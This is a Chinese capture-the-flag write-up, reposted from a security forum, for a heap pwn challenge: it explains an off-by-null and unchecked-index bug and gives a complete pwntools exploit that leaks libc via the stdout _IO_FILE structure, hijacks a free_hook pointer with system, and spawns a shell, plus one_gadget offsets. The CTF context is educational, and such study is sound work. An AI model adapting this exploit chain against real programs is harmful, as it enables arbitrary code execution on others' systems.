Q3 第四题:卧薪尝胆 WP
2019-09-25 18:14:06 Author: bbs.pediy.com(查看原文) 阅读量:180 收藏

程序分析

图片描述
保护全开。主要分析一下程序中的主要逻辑。
图片描述
这边是程序初始化的时候做的,主要功能其实就是限制你不能修改malloc_hook和free_hook。 图片描述他每次会将执行malloc_hook和free_hook的替换。edit功能存在没有限制索引的漏洞,可以向后修改,并且有off-by-null。

利用

这题没有输出,主要思路就是修改_IO_FILE来进行leak。可以使用edit的负数直接拿到bss上的stdout直接进行修改,我用的方法是unsorted bin的main_arena地址覆盖fastbin的fd。然后部分修改到stdout,然后进行修改_IO_write_base进行leak。首先就是使用off-by-null进行chunk overlap。部分代码如下

    add(0x90) #0
    add(0x68) #1
    add(0xf0) #2
    add(0x20) #3

    free(0)
    edit(1,'a' * 0x60 + p64(0x110))
    free(2) # unsorted 

    free(1)
    add(0x90) #0
    add(0x160) #2

    free(0)
    free(1)

    add(0x100) #0
    edit(0,'a' * 0x90 + flat(0x0,0x71,"\xdd\x25"))
    add(0x60) #1
    add(0x60) #2
    edit(2,'a' * 0x23 + flat(0x0,0x7f,0xfbad1800, 0x0,0x0,0x0) + "\x00")

其实你分析分析首先的malloc_hook和free_hook作者设置的限制,其实里面还是可以利用的点的。你把bss上的全局指针修改掉就可以劫持。 图片描述 图片描述但是苦就苦在我们不能不知道程序的基地址。but我们可以修改stdout _IO_FILE结构体来进行leak,二次修改_IO_write_base到malloc_hook进行泄露程序地址。拿到地址后就可以fastbin attack到bss修改全局变量,我选择修改free_hook bss为system。然后free一块/bin/sh就bingo了。具体exp如下:

#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = '154.8.174.214'
PORT = '10001'
binary = './pwn'
context.binary = binary

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

libc_base,__malloc_hook,system = None,None,None
def magic(offset):
    ru("\x7f")
    ru("\x7f")
    global libc_base,__malloc_hook,system
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('base',libc_base)
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    system = libc_base + libc.symbols['system']


def debug(msg=""):
    msg = """
        x/20xg 0x{:x}
        x/8xg 0x{:x}
        b *0x{:x}
    """.format(proc_base + 0x202080,
        proc_base + 0x202050,
        proc_base + 0xF43

    )

    pwnlib.gdb.attach(io,msg)

def add(sz):
    sla(">>","1")
    sla("size",str(sz))

def free(idx):
    sla(">>","2")
    sla("idx",str(idx))

def edit(idx,con):
    sla(">>","3")
    sla("idx",str(idx))
    sla("text",con)


def exploit():
    add(0x90) #0
    add(0x68) #1
    add(0xf0) #2
    add(0x20) #3

    free(0)
    edit(1,'a' * 0x60 + p64(0x110))
    free(2) # unsorted 

    free(1)
    add(0x90) #0
    add(0x160) #2

    free(0)
    free(1)

    add(0x100) #0
    edit(0,'a' * 0x90 + flat(0x0,0x71,"\xdd\x25"))
    add(0x60) #1
    add(0x60) #2
    edit(2,'a' * 0x23 + flat(0x0,0x7f,0xfbad1800, 0x0,0x0,0x0) + "\x00")
    magic(0x3c56a3)

    free(1)
    edit(0,'a' * 0x90 + flat(0x0,0x71,libc_base + libc.symbols['_IO_2_1_stdout_'] - 0x10))

    add(0x60) #1
    add(0x60) #2
    edit(4,flat(0xfbad1800, 0x0,0x0,0x0,libc_base + 0x3c3ef0))
    io.recv()
    program_leeak = u64(io.recv(6).ljust(8,'\x00'))
    lg('program_addr',program_leeak)
    program_base = program_leeak - 0x202020
    lg('program_base',program_base)

    store_malloc_hook = 0x202050 + program_base
    fd1_bss_free_hook = 0x20204d + program_base

    free(1)
    edit(0,'a' * 0x90 + flat(0x0,0x71,program_base + 0x20203d))
    add(0x60)
    add(0x60)
    edit(5,'a' * 3 + flat(__malloc_hook,system))
    edit(0,"/bin/sh\x00")

    free(0)
    # debug()
    io.interactive()

"""
    modify rt_global failed
    fd = libc_base + 0x5f0de5
    lg('fd',fd)
    free(1)
    edit(0,'a' * 0x90 + flat(0x0,0x71,fd))
    add(0x60) #1
    add(0x68) #
    edit(4,flat(0x0,0x7f) * (0x68 // 16) + p64(0x7f))
    fd2 = 0x5f0e4d + libc_base
    free(1)
    edit(0,'a' * 0x90 + flat(0x0,0x71,fd2))
    add(0x60) #1
    add(0x60)
    edit(5,flat(0x0,0x7f) * (0x68 // 16) + p64(0x7f))
    fd3 = 0x5f0ead + libc_base
    free(1)
    edit(0,'a' * 0x90 + flat(0x0,0x71,fd3))
    add(0x60) #1
    add(0x60)
    edit(6,flat(0x0,0x7f) * (0x68 // 16) + p64(0x7f))
    fd4 = 0x5f0f0d + libc_base
    free(1)
    edit(0,'a' * 0x90 + flat(0x0,0x71,fd4))
    one_gg = libc_base + 0x45216
    add(0x60) #1
    add(0x60)
    edit(7,'a' * (0x33-0x8) + p64(0x3cac90 + libc_base)+ p64(one_gg))
    lg("one_gg",one_gg)
"""

if __name__ == "__main__":
    try:
        exploit()
    except EOFError as e:
        exit(0)
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!


文章来源: https://bbs.pediy.com/thread-254689.htm
如有侵权请联系:admin#unsafe.sh